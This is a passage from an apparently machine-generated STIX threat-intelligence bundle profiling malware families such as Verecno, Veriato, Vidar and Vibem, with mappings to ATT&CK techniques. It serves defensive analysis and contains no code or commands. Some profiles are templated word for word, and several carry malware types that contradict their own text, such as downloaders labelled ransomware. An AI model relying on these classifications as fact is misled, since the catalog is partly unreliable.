          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Venik",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/venik"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e74a28e4-2ada-5a88-b371-255757c51d5c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bde415a-a262-5592-a129-89ec2da87466",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Venik exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--743587ff-682c-5604-9baf-224e9f97163c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bde415a-a262-5592-a129-89ec2da87466",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Venik exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ff139149-e5cc-5ce1-89c3-e9fb17ff3ac6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bde415a-a262-5592-a129-89ec2da87466",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Venik exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6694ec73-9a5d-5ce2-a0a7-d3b7eb97f0a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bde415a-a262-5592-a129-89ec2da87466",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Venik exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--625f3faf-fedb-5dfa-8f8d-84bb3fb0b1f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0bde415a-a262-5592-a129-89ec2da87466",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Venik exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--ef4e1532-380a-59c5-ba5d-4e4b24a3f833",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Verecno",
      "description": "Trojan:Win32/Verecno is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Verecno</b><br>To an end-user, a Verecno infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Verecno is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Verecno is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Verecno frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Verecno reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Verecno",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/verecno"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ed7a9446-de24-55f3-a4f8-55c4f6273318",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e1532-380a-59c5-ba5d-4e4b24a3f833",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verecno exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3f6c094e-691a-5052-a050-5d4725033b38",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e1532-380a-59c5-ba5d-4e4b24a3f833",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verecno exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--6412d5e6-7dfa-5e02-8cc4-027257d0345a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e1532-380a-59c5-ba5d-4e4b24a3f833",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verecno exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--db64249a-d231-5856-8291-2b2fe683008d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e1532-380a-59c5-ba5d-4e4b24a3f833",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verecno exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f195f6cd-18df-5012-aa28-ce2e274e24d2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--ef4e1532-380a-59c5-ba5d-4e4b24a3f833",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verecno exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--1851998c-968d-54dc-a5ad-f54f189d72a8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Veriato",
      "description": "Spyware:Win32/Veriato (formerly known as SpectorSoft/Spector Pro) is a highly advanced, commercially available employee monitoring and surveillance platform. Because it is designed to operate stealthily, record all user activity, and exfiltrate that data without the user's explicit ongoing knowledge, security vendors universally classify it as Spyware or Riskware. While legitimately sold to corporations for insider threat monitoring, it is frequently flagged by security tools because it utilizes the exact same techniques as malicious infostealers and APT keyloggers.<br><br><b>Understanding the Veriato Classification</b><br>To an employee, Veriato operates entirely invisibly; there are no icons, taskbar entries, or uninstall options. For an enterprise SOC, a Veriato detection creates a complex situation. If the deployment is sanctioned by HR/Legal, the AV detection is a 'false positive' that needs an exclusion. If it is *not* sanctioned, it represents a critical Insider Threat (`T1078`), indicating a rogue administrator or hostile insider is actively monitoring a specific user's communications.<br><br><b>Execution and Deep Surveillance Mechanics</b><br>Veriato is deployed by an administrator with physical or logical SYSTEM access (`T1199`). Once installed, it hooks deeply into the OS core (`T1056.001`), often using kernel-mode drivers to ensure absolute persistence and invisibility. It records every keystroke (`T1056`), captures continuous video playback of the screen (`T1113`), intercepts all incoming and outgoing emails (including webmail), logs all chat conversations (`T1114`), tracks document tracking (reads/writes/USB transfers) (`T1052.001`), and monitors web browsing. This massive surveillance cache is then securely exfiltrated to a central Veriato management server (`T1041`).<br><br><b>Indicators of Compromise & Impact</b><br>The primary impact is the total, absolute surveillance of the endpoint. Host-based IoCs include the presence of deeply hidden, obfuscated services and drivers (often changing names dynamically) and the modification of network stacks (NDIS filters) to intercept traffic. Network IoCs include a constant, encrypted stream of outbound traffic to a central, internal management server or the Veriato cloud console. (Observed samples in benchmark: 6)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Veriato",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/veriato"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12f0eb21-99c6-5d37-a4a6-8187b20fe953",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1851998c-968d-54dc-a5ad-f54f189d72a8",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veriato exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--33b6bf78-3e51-5655-a298-5f095f91e6cc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1851998c-968d-54dc-a5ad-f54f189d72a8",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veriato exhibits technique T1113 (Screen Capture (Continuous video recording))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--50f1828e-52b5-512f-962b-ac8444fa014e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1851998c-968d-54dc-a5ad-f54f189d72a8",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veriato exhibits technique T1041 (Exfiltration Over C2 Channel (To management server))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b06d4c9a-abcd-5753-b3ef-7232889e6599",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--1851998c-968d-54dc-a5ad-f54f189d72a8",
      "target_ref": "attack-pattern--71d2422c-5ccd-596f-bf01-715c25b32545",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Veriato exhibits technique T1199 (Trusted Relationship (Deployed by administrators))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9e98a7ca-a02f-5c08-95a3-8707ae02b340",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Verti",
      "description": "Adware:Win32/Verti is an intrusive Potentially Unwanted Program (PUP) designed to forcibly alter a user's web browsing experience. It manipulates browser settings to redirect search queries, injects unwanted advertisements into webpages, and tracks user browsing behavior to generate illicit Pay-Per-Click (PPC) revenue for its creators.<br><br><b>Understanding Verti</b><br>To an end-user, Verti manifests as a sudden, unwanted change to their browser's homepage, new tab page, and the appearance of unremovable toolbars or persistent pop-up ads. For a security team, it represents a breakdown in endpoint hygiene and a potential vector for more serious infections via malvertising (malicious advertisements).<br><br><b>Execution and Hijacking Mechanics</b><br>Verti is typically distributed via deceptive software bundles, fake software updates, or malicious browser extensions downloaded from third-party sites (`T1189`). Upon execution, it modifies the Windows Registry (`T1112`) and browser configuration files to enforce its settings (`T1562.001`). It installs persistent browser extensions or Browser Helper Objects (BHOs) (`T1176`) to monitor searches and ensure the hijacking cannot be easily reversed by the user. These extensions locally intercept web traffic to inject sponsored links directly into the DOM of legitimate websites.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is a severely degraded user experience, potential privacy violations (tracking of search queries), and exposure to potentially malicious ads. Host-based IoCs include EDR alerts for modifications to browser shortcut properties, unexpected additions to browser extension directories, or anomalous BHO registrations in the Registry. Network IoCs include DNS queries resolving to adware tracking infrastructure and redirected search traffic containing tracking parameters. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Verti",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/verti"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6624739-40fc-5f08-9b4e-f0df3972921f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e98a7ca-a02f-5c08-95a3-8707ae02b340",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verti exhibits technique T1176 (Browser Extensions (Installing malicious toolbars/BHOs))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--97743045-1989-5a2f-923f-cc286398944c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e98a7ca-a02f-5c08-95a3-8707ae02b340",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verti exhibits technique T1112 (Modify Registry (Changing default search/homepage keys))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c25f81c-c9d9-5bd3-b97c-6b01bcaedf5e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e98a7ca-a02f-5c08-95a3-8707ae02b340",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verti exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools (Browser hijacking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--25d1b8ba-294c-518b-9d34-772128b3865f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9e98a7ca-a02f-5c08-95a3-8707ae02b340",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Verti exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--9d142d98-cc15-58f6-9d46-ac7c0b6a6659",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vesenlosow",
      "description": "<h3>Executive Summary</h3>\n\"Vesenlosow\" is a machine-generated detection signature utilized by advanced heuristic antivirus engines. It does not identify a specific, named malware family, but rather flags an executable file or network request that exhibits characteristics strongly associated with Domain Generation Algorithms (DGAs) or heavily obfuscated malware droppers.\n\n<h3>Heuristic Detection and Behavioral Context</h3>\nThe pseudo-random string \"Vesenlosow\" is typical of the naming conventions used by security vendors when an unknown file triggers behavioral alerts but fails to match a known static signature. \n\nFiles or network requests flagged with this identifier frequently demonstrate:\n<ul>\n<li><strong>DGA Communication:</strong> The malware attempts to resolve DNS queries for long, random, nonsensical domain names. This is a common tactic used by botnets and trojans to locate their command-and-control (C2) servers while evading static IP blocklists.</li>\n<li><strong>High Code Entropy:</strong> The executable is heavily packed or encrypted using custom algorithms, aiming to hide the true malicious payload from static analysis and reverse engineering tools.</li>\n<li><strong>Process Injection:</strong> The program attempts to execute Windows APIs to inject code into legitimate system processes, attempting to bypass local firewalls and execute stealthily.</li>\n</ul>\n\n<h3>Security and Risk Implications</h3>\nWhile a generic detection lacks the context of a known family, a Vesenlosow alert is a severe security event. It frequently indicates the presence of a zero-day threat or a highly evasive initial access dropper designed to establish a beachhead for a larger, targeted attack.\n\n<h3>Incident Response Guidelines</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> Isolate the endpoint from the corporate network immediately to halt the DGA communication and prevent the potential download of secondary payloads.</li>\n<li><strong>DNS Log Analysis:</strong> Analyze corporate DNS logs for the specific pseudo-random strings generated during the alert to identify other potentially compromised hosts beaconing to the same infrastructure.</li>\n<li><strong>Sandbox Detonation:</strong> Extract the flagged executable and submit it to an isolated malware sandbox to monitor its behavior, identify the true payload, and generate actionable Indicators of Compromise (IOCs).</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Generic.DGA",
        "Suspicious.Vesenlosow",
        "Heur.Vesenlosow"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vesenlosow",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vesenlosow"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35171765-f6af-5b56-a8af-40d31a74be70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d142d98-cc15-58f6-9d46-ac7c0b6a6659",
      "target_ref": "attack-pattern--257d9e52-8dd5-53ad-99f1-1a8b77822be3",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vesenlosow exhibits technique T1568.002 (Dynamic Resolution: Domain Generation Algorithms (DGA) (Evading C2 blacklisting))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2da369e7-7c5f-5b46-8570-375fde42087b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d142d98-cc15-58f6-9d46-ac7c0b6a6659",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vesenlosow exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--43a32e51-55b7-5ed3-b5d6-30bc8a8a3a5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--9d142d98-cc15-58f6-9d46-ac7c0b6a6659",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vesenlosow exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--92f93a85-2d85-5eeb-b5ab-3987001b7f77",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vibem",
      "description": "Trojan:Win32/Vibem is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Vibem</b><br>To an end-user, a Vibem infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Vibem is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Vibem is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Vibem frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Vibem reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vibem",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vibem"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b2ea33b6-b657-5516-af79-9f59b0b71671",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f93a85-2d85-5eeb-b5ab-3987001b7f77",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vibem exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e8d85b5b-0a88-5fcd-b5ae-bb821087a6cf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f93a85-2d85-5eeb-b5ab-3987001b7f77",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vibem exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--ce649f83-2637-5a24-9eee-fdfee6ad563d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f93a85-2d85-5eeb-b5ab-3987001b7f77",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vibem exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e02cbef6-b703-5f6c-8797-acadedb7bfe1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f93a85-2d85-5eeb-b5ab-3987001b7f77",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vibem exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c49bcba-f80d-5c01-9a76-ae4fbb883828",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--92f93a85-2d85-5eeb-b5ab-3987001b7f77",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vibem exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--97292838-4d90-5f10-a2a9-8c3faaf5cd4e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Vidar",
      "description": "Trojan:Win32/Vidar (commercially marketed as Vidar Stealer) is a prolific, commercially available information-stealing trojan first observed on underground Russian cybercrime forums in late 2018. Architecturally forked from the Arkei stealer source code, Vidar operates under an accessible Malware-as-a-Service (MaaS) rental model costing between $250 and $500 per month. Vidar specializes in the rapid, comprehensive harvesting of sensitive user data from infected Windows hosts, including cryptocurrency wallets (Bitcoin, Ethereum, Monero, Electrum, MetaMask), stored web browser credentials and autocomplete history (Chrome, Firefox, Edge, Brave), active session cookies, FTP client credentials (FileZilla), VPN profiles, and desktop two-factor authentication tokens (Authy). Vidar pioneered novel C2 rendezvous techniques, utilizing public social media profiles (Telegram channels, Steam community bios, Twitter accounts, and Mastodon bio descriptions) as unblockable dead-drop resolvers that dynamically point worker bots to active C2 IP addresses. Once credential collection is completed and exfiltrated over HTTP POST, Vidar executes automated self-deletion commands to eliminate forensic traces. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "spyware",
        "credential-stealer"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Vidar",
        "Vidar Stealer",
        "Trojan.Vidar",
        "Spyware.VidarStealer",
        "PWS.Win32.Vidar"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Vidar",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/vidar"
        }
      ],
      "labels": [
        "infostealer",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7fbf2c65-3f7e-5a51-ac06-183b4de92587",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97292838-4d90-5f10-a2a9-8c3faaf5cd4e",
      "target_ref": "attack-pattern--87ff6f4d-2443-560e-9936-9f380887aee1",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidar exhibits technique T1555.003 (Credentials from Web Browsers)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--248bab6c-49ac-5564-b0d2-8ee136ae7962",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97292838-4d90-5f10-a2a9-8c3faaf5cd4e",
      "target_ref": "attack-pattern--3b5639c8-b582-5988-b9eb-f34bd3a9a3ba",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidar exhibits technique T1114.001 (Email Collection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--13d7f723-e451-584c-ba9e-ad3c2cf34c98",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--97292838-4d90-5f10-a2a9-8c3faaf5cd4e",
      "target_ref": "attack-pattern--51f784b2-9c5d-57fb-a8ec-572422bdf826",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Vidar exhibits technique T1102.001 (Dead Drop Resolver)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--03e5e91a-9335-597b-92a7-e4fdc0e72a2b",
